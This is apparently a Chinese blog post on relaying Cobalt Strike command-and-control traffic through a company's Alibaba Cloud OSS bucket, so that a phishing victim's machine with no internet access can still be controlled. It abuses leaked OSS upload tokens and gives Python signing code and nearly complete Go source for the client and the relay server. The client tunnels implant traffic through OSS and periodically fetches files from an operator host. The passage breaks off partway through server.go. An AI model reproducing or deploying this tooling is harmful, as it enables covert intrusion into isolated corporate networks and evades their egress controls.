阿里云oss转发上线-实现不出网钓鱼

news2024/11/25 8:40:13

本地实现阿里云oss转发上线,全部代码在文末,代码存在冗余

实战环境
被钓鱼机器不出网只可访问内部网络包含集团oss
实战思路
若将我们的shellcode文件上传到集团oss上仍无法上线,那么就利用oss做中转使用本地转发进行上线,先发送一个本地监听木马到钓鱼机器,再发送一个client,也就是agent到钓鱼机器,当然可以将两个写成一块发送给钓鱼受害者,server端从oss读取到数据转发至cs监听端口
具体逻辑
1.根据网站oss的上传接口,获得上传成功的返回包(通常包含泄露的oss的token,上传成功的路径及其文件名)
2.我们将返回包的json全部复制到本地为新的json文件,命名为server.json和client.json
3.server端实现上传该json文件到目标oss存储桶
4.client端下载该json文件到钓鱼机器
5.client端通过读取下载的json文件获得相应上传路径,token,进行组合实现上传本地木马127.0.0.1:17777监听的请求数据到oss文件
6.server端下载读取oss文件的数据转发到cs木马x.x.x.x:17777监听端口
7.server端上传cs返回的数据到oss文件
8.client端下载读取oss文件内容到本地木马监听端口实现木马闭环
server和client都是持续开着的并且循环进行上传下载读取功能

本地为方便演示我们使用服务器下载json文件,提取json文件中的关键信息,进行上传

首先准备好阿里云oss的SDK
https://help.aliyun.com/zh/oss/developer-reference/go-installation?spm=在这里插入图片描述
那么通过实际情况,一般上传接口是有oss的token
生成policy和signature

import os
from hashlib import sha1 as sha
import json
import base64
import hmac
import datetime
import time

# 配置环境变量OSS_ACCESS_KEY_ID。
access_key_id = 'xxxxxxx'
# 配置环境变量OSS_ACCESS_KEY_SECRET。
access_key_secret = 'xxxxxxxxxxxx'
# 将<YOUR_BUCKET>替换为Bucket名称。
bucket = 'xxxx'
# host的格式为bucketname.endpoint。将<YOUR_BUCKET>替换为Bucket名称。将<YOUR_ENDPOINT>替换为OSS Endpoint,例如oss-cn-hangzhou.aliyuncs.com。
host = 'https://xxxx.oss-cn-shanghai.aliyuncs.com'
# 指定上传到OSS的文件前缀。
upload_dir = '1029/ff.txt'
# 指定过期时间,单位为秒。
expire_time = 14400


def generate_expiration(seconds):
    """
    通过指定有效的时长(秒)生成过期时间。
    :param seconds: 有效时长(秒)。
    :return: ISO8601 时间字符串,如:"2014-12-01T12:00:00.000Z"。
    """
    now = int(time.time())
    expiration_time = now + seconds
    gmt = datetime.datetime.utcfromtimestamp(expiration_time).isoformat()
    gmt += 'Z'
    return gmt


def generate_signature(access_key_secret, expiration, conditions, policy_extra_props=None):
    """
    生成签名字符串Signature。
    :param access_key_secret: 有权限访问目标Bucket的AccessKeySecret。
    :param expiration: 签名过期时间,按照ISO8601标准表示,并需要使用UTC时间,格式为yyyy-MM-ddTHH:mm:ssZ。示例值:"2014-12-01T12:00:00.000Z"。
    :param conditions: 策略条件,用于限制上传表单时允许设置的值。
    :param policy_extra_props: 额外的policy参数,后续如果policy新增参数支持,可以在通过dict传入额外的参数。
    :return: signature,签名字符串。
    """
    policy_dict = {
        'expiration': expiration,
        'conditions': conditions
    }
    if policy_extra_props is not None:
        policy_dict.update(policy_extra_props)
    policy = json.dumps(policy_dict).strip()
    policy_encode = base64.b64encode(policy.encode())
    h = hmac.new(access_key_secret.encode(), policy_encode, sha)
    sign_result = base64.b64encode(h.digest()).strip()
    return sign_result.decode()

def generate_upload_params():
    policy = {
        # 有效期。
        "expiration": generate_expiration(expire_time),
        # 约束条件。
        "conditions": [
            # 未指定success_action_redirect时,上传成功后的返回状态码,默认为 204。
            ["eq", "$success_action_status", "200"],
            # 表单域的值必须以指定前缀开始。例如指定key的值以user/user1开始,则可以写为["starts-with", "$key", "user/user1"]。
            ["starts-with", "$key", upload_dir],
            # 限制上传Object的最小和最大允许大小,单位为字节。
            ["content-length-range", 1, 1000000],
            # 限制上传的文件为指定的图片类型
            ["in", "$content-type", ["image/jpg", "image/png","text/plain","application/octet-stream"]]
        ]
    }
    signature = generate_signature(access_key_secret, policy.get('expiration'), policy.get('conditions'))
    response = {
        'policy': base64.b64encode(json.dumps(policy).encode('utf-8')).decode(),
        'ossAccessKeyId': access_key_id,
        'signature': signature,
        'host': host,
        'dir': upload_dir
        # 可以在这里再自行追加其他参数
    }
    print(json.dumps(response))
    return json.dumps(response)

if __name__ == '__main__':
    generate_upload_params();

这样就可以使用policy和signature
这里key不能只写1029/这样的路径,后面要加文件名才能成功上传
1029/ff.txt这种,我们先手动上传试试
在这里插入图片描述
在这里插入图片描述
可以看到上传成功,然后使用go写的客户端试试上传
在这里插入图片描述

在这里插入图片描述
客户端成功上传文件到oss,并且我们的上传是循环的,
在这里插入图片描述

上传的内容为
在这里插入图片描述
从oss下载之后,可以看到文件名字是policy.txt,这是从阿里云oss下载的文件名字(也就是Content-Disposition),但存储桶上是ff.txt的名字(也就是key)
目前客户端上传功能成功,然后写客户端下载功能,服务端的代码和客户端一样除了客户端要监听127.0.0.1:17777,服务器要发送到cs的ip:17777,这样就可以了,

当完成客户端上传下载,服务端下载功能时候收到请求上线如下
在这里插入图片描述
可以看到请求转发过来了(此时只是先客户端上传监听到的数据到oss,然后服务端下载到本地转发到cs服务器),那么我们需要完成服务端上传的功能,以至于cs的返回包上传到oss上,供客户端读取
在这里插入图片描述
可以看到server端的上传包(也就是上传的cs返回的包)
此时的问题是client和server的上传文件有冲突问题,client上传太快了,server会oss检测当前文件的内容和之前的内容是否一致,client传的太快会让server认为和上一个内容一样,所以就不上传返回包请求了,在这里插入图片描述
可以看到ipconfig也可以
但是这个有个bug,就是运行client运行中间卡住了
在这里插入图片描述
最终方案,client端上传之后等待60秒,server端上传之后等待30秒,
最终代码:
client.go

package main

import (
    "bytes"
    "fmt"
    "log"
    "os"
    "path/filepath"
    "net"
    "net/http"
    "io"
    "io/ioutil"
    "encoding/json"
    "mime/multipart"
    "strings"
    "net/url"
    "time"
    "strconv"
    "encoding/base64"
    "sync"
    
    
    "github.com/google/uuid"
)

var ClientUploadData *UploadData

var previousContent string


// 定义结构体:File 结构体
type UploadData struct {
    Key                  string `json:"key"`
    SuccessActionStatus  string `json:"success_action_status"`
    ContentDisposition   string `json:"Content-Disposition"`
    XOssMetaUUID         string `json:"x-oss-meta-uuid"`
    XOssMetaTag          string `json:"x-oss-meta-tag"`
    OSSAccessKeyID       string `json:"OSSAccessKeyId"`
    Policy               string `json:"policy"`
    Signature            string `json:"Signature"`
    ActionURL            string `json:"action"`
    FileName             string `json:"file.filename"`
    FileContentType      string `json:"file.content_type"`
    FileContent          string `json:"file.content"`
}

type UploadTokenResponse struct {
    Success    interface{} `json:"success"`
    UploadData UploadData  `json:"uploadData"`
    Error      interface{} `json:"error"`
}





func startClient(bind_address string) {
    log.Println("[+]", "客户端启动成功")

    server, err := net.Listen("tcp", bind_address)
    if err != nil {
        log.Fatalln("[x]", "listen address ["+bind_address+"] failed.")
    }
    for {
        conn, err := server.Accept()
        if err != nil {
            log.Println("Accept() failed, err: ", err)
            continue
        }
        log.Println("[+]", "有客户进入:", conn.RemoteAddr())
        go process(conn)
        
    }
}

func Get(filename string) []byte {
    programDir, err := getProgramDirectory()
    if err != nil {
        log.Println("获取程序目录失败:", err)
        return nil
    }

    configFilePath := filepath.Join(programDir, filename)
    log.Println("程序目录:", programDir)
    log.Println("文件路径:", configFilePath)
    jsondate, err := readUploadTokenFromFile(configFilePath)
    if err != nil {
        log.Println("读取或解析JSON文件失败:", err)
        return nil
    }
    fileURL := jsondate.ActionURL + "/" + jsondate.Key
    log.Println("Get.fileURL:", fileURL)
    fmt.Println(fileURL)
    resp, err := http.Get(fileURL)
    if err != nil {
        log.Println("读取文件内容失败:", err)
        return nil
    }
    defer resp.Body.Close()

    content, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        log.Println("读取响应体失败:", err)
        return nil
    }
    log.Println("客户端下载读到的内容:", content)
    decodedContent, err := base64.StdEncoding.DecodeString(string(content))
    if err != nil {
        log.Println("Base64解码失败:", err)
        return nil
    }

    // 输出字符串内容
    log.Println("客户端下载读到的内容base64:", string(decodedContent))
    return content
}

func renameFile(oldPath, newPath string) error {
    err := os.Rename(oldPath, newPath)
    if err != nil {
        return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
    }
    log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
    return nil
}


func saveToFile(filename, content string) {
    err := os.WriteFile(filename, []byte(content), 0644)
    if err != nil {
        log.Println("[x]", "保存文件失败:", err)
    }
}

func getProgramDir() string {
    dir, err := os.Getwd()
    if err != nil {
        log.Println("[x]", "获取程序运行目录失败:", err)
        return "./"
    }
    return dir + "/"
}

func FileExists(filePath string) bool {
    _, err := os.Stat(filePath)
    return err == nil
}

func processContentAndSave(currentContent string) {
    var fileName string

    if strings.Contains(currentContent, "client") {
        fileName = getProgramDir() + "Send-Client11.json"
        log.Println("[+]", "判断是否存在 client 文件")

    } else if strings.Contains(currentContent, "server") {
        fileName = getProgramDir() + "Send-Server11.json"
        log.Println("[+]", "判断是否存在 server 文件")

    } else {
        log.Println("[-]", "内容既不包含 client 也不包含 server,跳过处理")
        return
    }

    log.Println("[+]", "文件名:", fileName)

    if _, err := os.Stat(fileName); os.IsNotExist(err) {
        saveToFile(fileName, string(currentContent))
        log.Println("[+]", "文件不存在,已保存为:", fileName)
    } else if err == nil {
        log.Println("[+]", "文件已存在,跳过保存:", fileName)
    } else {
        log.Println("[-]", "检查文件时发生错误:", err)
    }
}

func Getfile(filename string) (string, error) {
    defer func() {
        if r := recover(); r != nil {
            log.Printf("捕获异常:%v", r)
        }
    }()

    programDir, err := getProgramDirectory()
    if err != nil {
        return "", fmt.Errorf("failed to get program directory: %v", err)
    }

    configFilePath := filepath.Join(programDir, filename)

    jsondate, err := readUploadTokenFromFile(configFilePath)
    if err != nil {
        log.Println("读取或解析JSON文件失败:", err)
        return "", err
    }
    fileURL := jsondate.ActionURL + "/" + jsondate.Key
    log.Println("Getfile.fileURL:",fileURL)
    resp, err := http.Get(fileURL)
    if err != nil {
        log.Println("读取文件内容失败:", err)
        return "", err
    }
    defer resp.Body.Close()

    return fileURL, nil
}

func fetchFileContent(url string) (string, error) {
    resp, err := http.Get(url)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return "", err
    }

    return string(body), nil
}


/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)

    for key, value := range UploadData.Data {
        writer.WriteField(key, value)
    }

    fileReader := strings.NewReader(fileContent)
    part, err := writer.CreateFormFile(UploadData.Name, filename)
    if err != nil {
        return "", err
    }

    _, err = io.Copy(part, fileReader)
    if err != nil {
        return "", err
    }

    writer.Close()

    req, err := http.NewRequest("POST", UploadData.ActionURL, body)
    if err != nil {
        return "", err
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()

    location := resp.Header.Get("Location")
    if location == "" {
        fmt.Println("No location URL found in response headers.")
    }

    return location, nil
}*/

func logRequest(req *http.Request) {
    log.Println("Request Method:", req.Method)
    log.Println("Request URL:", req.URL.String())
    log.Println("Request Headers:")
    for key, values := range req.Header {
        for _, value := range values {
            log.Printf("  %s: %s\n", key, value)
        }
    }

    // 打印请求体内容
    bodyBytes, err := io.ReadAll(req.Body)
    if err != nil {
        log.Println("Error reading request body:", err)
        return
    }
    req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
    log.Println("Request Body:", string(bodyBytes))
}


func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)

    // Write fields directly from UploadData struct
    writer.WriteField("key", data.Key)
    writer.WriteField("success_action_status", data.SuccessActionStatus)
    writer.WriteField("Content-Disposition", data.ContentDisposition)
    writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
    writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
    writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
    writer.WriteField("policy", data.Policy)
    writer.WriteField("Signature", data.Signature)


    // Create form file part for file content
    fileReader := strings.NewReader(fileContent)
    part, err := writer.CreateFormFile("file", filename)
    if err != nil {
        return "", err
    }
    

    _, err = io.Copy(part, fileReader)
    if err != nil {
        return "", err
    }

    writer.Close()

    // Create and send request

    req, err := http.NewRequest("POST", data.ActionURL, body)
    //req, err := http.NewRequest("POST", "https://xxxx.oss-cn-shanghai.aliyuncs.com", body)
    if err != nil {
        return "", err
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())
    logRequest(req)
    //client := &http.Client{}
    proxyURL, _ := url.Parse("http://127.0.0.1:8083")
     if err != nil {
        return "", fmt.Errorf("invalid proxy URL: %v", err)
    }
    client := &http.Client{
        Transport: &http.Transport{
            Proxy: http.ProxyURL(proxyURL),
        },
    }
    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()
    
    location := resp.Header.Get("Location")
    if location == "" {
        fmt.Println("No location URL found in response headers.")
    }

    return location, nil
}



func findErrorLine(data []byte, offset int64) (line int, col int) {
    line = 1
    col = 1
    for i := int64(0); i < offset; i++ {
        if data[i] == '\n' {
            line++
            col = 1
        } else {
            col++
        }
    }
    return
}


/*func parseUploadToken(jsonData []byte) (UploadData, error) {
    var tokenResponse UploadTokenResponse
    err := json.Unmarshal(jsonData, &tokenResponse)
    if err != nil {
        return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
    }

    // 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
    return tokenResponse.UploadData, nil
}*/

func parseUploadToken(jsonData []byte) (UploadData, error) {
//    var tokenResponse UploadTokenResponse
    var uploadData UploadData
    err := json.Unmarshal(jsonData, &uploadData)
    if err != nil {
        return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
    }

    // 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
    log.Println("parseUploadToken.UploadData",uploadData)
    return uploadData, nil
}






func getProgramDirectory() (string, error) {
    execPath, err := os.Executable()
    if err != nil {
        return "", err
    }
    return filepath.Dir(execPath), nil
}

func readUploadTokenFromFile(filename string) (UploadData, error) {
    programDir, err := getProgramDirectory()
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
    }

    filename = filepath.Base(filename)
    configFilePath := filepath.Join(programDir, filename)

    data, err := ioutil.ReadFile(configFilePath)
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
    }

    uploadData, err := parseUploadToken(data)
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
    }

    return uploadData, nil
}


func Send(name string, filename string, content string) {
    UploadData, err := readUploadTokenFromFile(name)
    if err != nil {
        fmt.Println("Error reading or parsing JSON from file:", err)
        return
    }

    _, err = uploadFile(UploadData, filename, content)
    if err != nil {
        log.Println("文件上传失败:", err)
        return
    }
}

var fileLock sync.Mutex // 定义一个文件锁


func process(conn net.Conn) {
    defer func() {
        if r := recover(); r != nil {
            log.Printf("捕获异常:%v", r)
        }
    }()

    uuid := uuid.New()
    key := uuid.String()
    defer conn.Close()
    var buffer bytes.Buffer
    _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
    for {
        var buf [1]byte
        n, err := conn.Read(buf[:])
        if err != nil {
            log.Println("[-]", uuid, "read from connect failed, err:", err)
            break
        }
        buffer.Write(buf[:n])
        if strings.Contains(buffer.String(), "\r\n\r\n") {
            if strings.Contains(buffer.String(), "Content-Length") {
                ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
                log.Println("[+]", uuid, "数据包长度为:", strings.TrimSpace(ContentLength))
                if strings.TrimSpace(ContentLength) != "0" {
                    intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
                    if err != nil {
                        log.Println("[-]", uuid, "Content-Length转换失败")
                    }
                    for i := 1; i <= intContentLength; i++ {
                        var b [1]byte
                        n, err = conn.Read(b[:])
                        if err != nil {
                            log.Println("[-]", uuid, "read from connect failed, err", err)
                            break
                        }
                        buffer.Write(b[:n])
                    }
                }
            }
            if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
                for {
                    var b [1]byte
                    n, err = conn.Read(b[:])
                    if err != nil {
                        log.Println("[-]", uuid, "read from connect failed, err", err)
                        break
                    }
                    buffer.Write(b[:n])
                    if strings.Contains(buffer.String(), "0\r\n\r\n") {
                        break
                    }
                }
            }
            log.Println("[+]", uuid, "从客户端接受HTTP头完毕")
            break
        }
    }
    b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())
    Send("Send-Client.json", key+"client.zip", b64)
    log.Println("[+]发送成功")

    log.Println("文件上传完成,暂停60秒...")
    time.Sleep(60 * time.Second) // Pause for 60 seconds

    
    i := 1

    for {
        i++
        time.Sleep(1 * time.Second)
        if i >= 10 {
            log.Println("[x]", "超时,断开")
            return
        }

        clientURL, err := Getfile("Send-Server.json")
        if err != nil {
            log.Println("[-]", "获取服务器文件失败:", err)
            return
        }
        log.Println("[-]", "process.clientURL:", clientURL)
        currentContent, err := fetchFileContent(clientURL)
        if err != nil {
            log.Println("[-]", "获取客户端文件失败:", err)
            return
        }


        if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {
            /*if strings.HasPrefix(currentContent, `{"success`) {
                processContentAndSave(currentContent)
                if FileExists(getProgramDir()+"Send-Server11.json") && FileExists(getProgramDir()+"Send-Client11.json") {
                    clientNewPath := getProgramDir() + "Send-Client.json"
                    os.Remove(clientNewPath)
                    err = renameFile(getProgramDir()+"Send-Client11.json", clientNewPath)
                    if err != nil {
                        log.Fatalf("重命名 server 文件时发生错误: %v", err)
                    }
                    os.Remove(getProgramDir() + "Send-Client11.json")
                    time.Sleep(5 * time.Second)
                    serverNewPath := getProgramDir() + "Send-Server.json"
                    os.Remove(serverNewPath)
                    err = renameFile(getProgramDir()+"Send-Server11.json", serverNewPath)
                    if err != nil {
                        log.Fatalf("重命名 server 文件时发生错误: %v", err)
                    }
                    os.Remove(getProgramDir() + "Send-Server11.json")
                }
            }*/
            log.Println("[+]", "文件内容不一致,开始处理")

            previousContent = currentContent
            buff := Get("Send-Server.json")
            if buff != nil {
                log.Println("[x]", uuid, "收到服务器消息")
                time.Sleep(1 * time.Second)
                sDec, err := base64.StdEncoding.DecodeString(string(buff))
                if err != nil {
                    log.Println("[x]", uuid, "Base64解码错误")
                    return
                }
                conn.Write(sDec)
                break
            }
        } else {
            log.Println("[+]", "文件内容一致,无需处理")
            previousContent = currentContent
            buff := Get("Send-Server.json")
            if buff != nil {
                log.Println("[x]", uuid, "收到服务器消息")
                time.Sleep(1 * time.Second)
                sDec, err := base64.StdEncoding.DecodeString(string(buff))
                if err != nil {
                    log.Println("[x]", uuid, "Base64解码错误")
                    return
                }
                conn.Write(sDec)
                break
            return
        }
    }
    }
    log.Println("[+]", "发送完成")
}

func checkURLStatus(url string) bool {
    resp, err := http.Head(url)
    if err != nil {
        fmt.Printf("检查 URL 失败: %v\n", err)
        return false
    }
    defer resp.Body.Close()

    if resp.StatusCode == http.StatusOK {
        return true
    }
    fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
    return false
}

func waitForNextHalfHour() {
    now := time.Now()
    next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
    duration := next.Sub(now)

    fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
    time.Sleep(duration)
}

func downloadFile(filepath string, url string) error {
    resp, err := http.Get(url)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    out, err := os.Create(filepath)
    if err != nil {
        return err
    }
    defer out.Close()

    _, err = io.Copy(out, resp.Body)
    return err
}

func safeDownloadFile(filepath string, url string) error {
    tempFilepath := filepath + ".tmp"

    err := downloadFile(tempFilepath, url)
    if err != nil {
        return fmt.Errorf("下载失败: %w", err)
    }

    err = os.Rename(tempFilepath, filepath)
    if err != nil {
        return fmt.Errorf("替换文件失败: %w", err)
    }

    return nil
}

func timedownload() {
    execPath, err := os.Executable()
    if err != nil {
        fmt.Printf("获取程序路径失败: %v\n", err)
        return
    }
    execDir := filepath.Dir(execPath)

    filepath1 := filepath.Join(execDir, "Send-Client.json")
    filepath2 := filepath.Join(execDir, "Send-Server.json")
    
    url1 := "http://xxxxx:xx/Send-Client.json"
    url2 := "http://xxxxx:xx/Send-Server.json"
    
    fmt.Printf("检查文件1:%s\n", url1)
    if checkURLStatus(url1) {
        err = safeDownloadFile(filepath1, url1)
        if err != nil {
            fmt.Printf("下载失败: %v\n", err)
        } else {
            fmt.Println("下载成功")
        }
    } else {
        fmt.Println("URL不可用,跳过下载:", url1)
    }

    fmt.Printf("检查文件2:%s\n", url2)
    if checkURLStatus(url2) {
        err = safeDownloadFile(filepath2, url2)
        if err != nil {
            fmt.Printf("下载失败: %v\n", err)
        } else {
            fmt.Println("下载成功")
        }
    } else {
        fmt.Println("URL不可用,跳过下载:", url2)
    }

    for {
        waitForNextHalfHour()

        fmt.Printf("检查文件1:%s\n", url1)
        if checkURLStatus(url1) {
            err = safeDownloadFile(filepath1, url1)
            if err != nil {
                fmt.Printf("下载失败: %v\n", err)
            } else {
                fmt.Println("下载成功")
            }
        } else {
            fmt.Println("URL不可用,跳过下载:", url1)
        }

        fmt.Printf("检查文件2:%s\n", url2)
        if checkURLStatus(url2) {
            err = safeDownloadFile(filepath2, url2)
            if err != nil {
                fmt.Printf("下载失败: %v\n", err)
            } else {
                fmt.Println("下载成功")
            }
        } else {
            fmt.Println("URL不可用,跳过下载:", url2)
        }
    }

}


func main() {

    go timedownload()
    bind_address := "127.0.0.1:17777"
    startClient(bind_address)

}

server.go

package main

import (
    "bytes"
	"fmt"
	"log"
	"os"
	"path/filepath"
	"net"
	"net/http"
	"io"
	"io/ioutil"
	"encoding/json"
	"mime/multipart"
	"strings"
	"net/url"
	"time"
	"strconv"
	"encoding/base64"
	"sync"

)

var ClientUploadData *UploadData

var previousContent string  // 存储上一次文件内容


// 定义结构体:File 结构体
type UploadData struct {
	Key                  string `json:"key"`
	SuccessActionStatus  string `json:"success_action_status"`
	ContentDisposition   string `json:"Content-Disposition"`
	XOssMetaUUID         string `json:"x-oss-meta-uuid"`
	XOssMetaTag          string `json:"x-oss-meta-tag"`
	OSSAccessKeyID       string `json:"OSSAccessKeyId"`
	Policy               string `json:"policy"`
	Signature            string `json:"Signature"`
	ActionURL            string `json:"action"`
	FileName             string `json:"file.filename"`
	FileContentType      string `json:"file.content_type"`
	FileContent          string `json:"file.content"`
}

type UploadTokenResponse struct {
	Success    interface{} `json:"success"`
	UploadData UploadData  `json:"uploadData"`
	Error      interface{} `json:"error"`
}





func Get(filename string) []byte {
	programDir, err := getProgramDirectory()
	if err != nil {
		log.Println("获取程序目录失败:", err)
		return nil
	}

	configFilePath := filepath.Join(programDir, filename)
	log.Println("程序目录:", programDir)
	log.Println("文件路径:", configFilePath)
	jsondate, err := readUploadTokenFromFile(configFilePath)
	log.Println("jsondate:",jsondate)
	if err != nil {
		log.Println("读取或解析JSON文件失败:", err)
		return nil
	}
	fileURL := jsondate.ActionURL + "/" + jsondate.Key
	fmt.Println(fileURL)
	resp, err := http.Get(fileURL)
	if err != nil {
		log.Println("读取文件内容失败:", err)
		return nil
	}
	defer resp.Body.Close()

	content, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Println("读取响应体失败:", err)
		return nil
	}
	log.Println("内容:", content)
	return content
}

func renameFile(oldPath, newPath string) error {
	err := os.Rename(oldPath, newPath)
	if err != nil {
		return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
	}
	log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
	return nil
}


func saveToFile(filename, content string) {
	err := os.WriteFile(filename, []byte(content), 0644)
	if err != nil {
		log.Println("[x]", "保存文件失败:", err)
	}
}

func getProgramDir() string {
	dir, err := os.Getwd()
	if err != nil {
		log.Println("[x]", "获取程序运行目录失败:", err)
		return "./"
	}
	return dir + "/"
}

func FileExists(filePath string) bool {
	_, err := os.Stat(filePath)
	return err == nil
}

func processContentAndSave(currentContent string) {
	var fileName string

	if strings.Contains(currentContent, "client") {
		fileName = getProgramDir() + "Send-Client11.json"
		log.Println("[+]", "判断是否存在 client 文件")

	} else if strings.Contains(currentContent, "server") {
		fileName = getProgramDir() + "Send-Server11.json"
		log.Println("[+]", "判断是否存在 server 文件")

	} else {
		log.Println("[-]", "内容既不包含 client 也不包含 server,跳过处理")
		return
	}

	log.Println("[+]", "文件名:", fileName)

	if _, err := os.Stat(fileName); os.IsNotExist(err) {
		saveToFile(fileName, string(currentContent))
		log.Println("[+]", "文件不存在,已保存为:", fileName)
	} else if err == nil {
		log.Println("[+]", "文件已存在,跳过保存:", fileName)
	} else {
		log.Println("[-]", "检查文件时发生错误:", err)
	}
}



func Getfile(filename string) (string, error) {
	defer func() {
		if r := recover(); r != nil {
			log.Printf("捕获异常:%v", r)
		}
	}()

	programDir, err := getProgramDirectory()
	log.Println("programDir:", programDir)
	if err != nil {
		return "", fmt.Errorf("failed to get program directory: %v", err)
	}

	configFilePath := filepath.Join(programDir, filename)
	log.Println("configFilePath:", configFilePath)
	jsondate, err := readUploadTokenFromFile(configFilePath)
	if err != nil {
		log.Println("读取或解析JSON文件失败:", err)
		return "", err
	}
	fileURL := jsondate.ActionURL + "/" + jsondate.Key
	log.Println("fileURL:", fileURL)
	resp, err := http.Get(fileURL)
	if err != nil {
		log.Println("读取文件内容失败:", err)
		return "", err
	}
	defer resp.Body.Close()

	return fileURL, nil
}

func fetchFileContent(url string) (string, error) {
	resp, err := http.Get(url)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return "", err
	}
	log.Println(string(body))
	return string(body), nil
}


/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)

	for key, value := range UploadData.Data {
		writer.WriteField(key, value)
	}

	fileReader := strings.NewReader(fileContent)
	part, err := writer.CreateFormFile(UploadData.Name, filename)
	if err != nil {
		return "", err
	}

	_, err = io.Copy(part, fileReader)
	if err != nil {
		return "", err
	}

	writer.Close()

	req, err := http.NewRequest("POST", UploadData.ActionURL, body)
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", writer.FormDataContentType())

	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	location := resp.Header.Get("Location")
	if location == "" {
		fmt.Println("No location URL found in response headers.")
	}

	return location, nil
}*/

func logRequest(req *http.Request) {
	log.Println("Request Method:", req.Method)
	log.Println("Request URL:", req.URL.String())
	log.Println("Request Headers:")
	for key, values := range req.Header {
		for _, value := range values {
			log.Printf("  %s: %s\n", key, value)
		}
	}

	// 打印请求体内容
	bodyBytes, err := io.ReadAll(req.Body)
	if err != nil {
		log.Println("Error reading request body:", err)
		return
	}
	req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
	log.Println("Request Body:", string(bodyBytes))
}


func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)

	// Write fields directly from UploadData struct
	writer.WriteField("key", data.Key)
	writer.WriteField("success_action_status", data.SuccessActionStatus)
	writer.WriteField("Content-Disposition", data.ContentDisposition)
	writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
	writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
	writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
	writer.WriteField("policy", data.Policy)
	writer.WriteField("Signature", data.Signature)


	// Create form file part for file content
	fileReader := strings.NewReader(fileContent)
	part, err := writer.CreateFormFile("file", filename)
	if err != nil {
		return "", err
	}
	

	_, err = io.Copy(part, fileReader)
	if err != nil {
		return "", err
	}

	writer.Close()

	// Create and send request

	req, err := http.NewRequest("POST", data.ActionURL, body)
	//req, err := http.NewRequest("POST", "https://xxx.oss-cn-shanghai.aliyuncs.com", body)
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", writer.FormDataContentType())
	logRequest(req)
	//client := &http.Client{}
	proxyURL, _ := url.Parse("http://127.0.0.1:8083")
	 if err != nil {
        return "", fmt.Errorf("invalid proxy URL: %v", err)
    }
	client := &http.Client{
		Transport: &http.Transport{
			Proxy: http.ProxyURL(proxyURL),
		},
	}
	resp, err := client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()
	
	location := resp.Header.Get("Location")
	if location == "" {
		fmt.Println("No location URL found in response headers.")
	}

	return location, nil
}



func findErrorLine(data []byte, offset int64) (line int, col int) {
	line = 1
	col = 1
	for i := int64(0); i < offset; i++ {
		if data[i] == '\n' {
			line++
			col = 1
		} else {
			col++
		}
	}
	return
}


func parseUploadToken(jsonData []byte) (UploadData, error) {
//	var tokenResponse UploadTokenResponse
	var uploadData UploadData
	err := json.Unmarshal(jsonData, &uploadData)
	if err != nil {
		return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
	}

	// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
	log.Println("parseUploadToken.UploadData",uploadData)
	return uploadData, nil
}





func getProgramDirectory() (string, error) {
	execPath, err := os.Executable()
	if err != nil {
		return "", err
	}
	return filepath.Dir(execPath), nil
}

func readUploadTokenFromFile(filename string) (UploadData, error) {
	programDir, err := getProgramDirectory()
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
	}

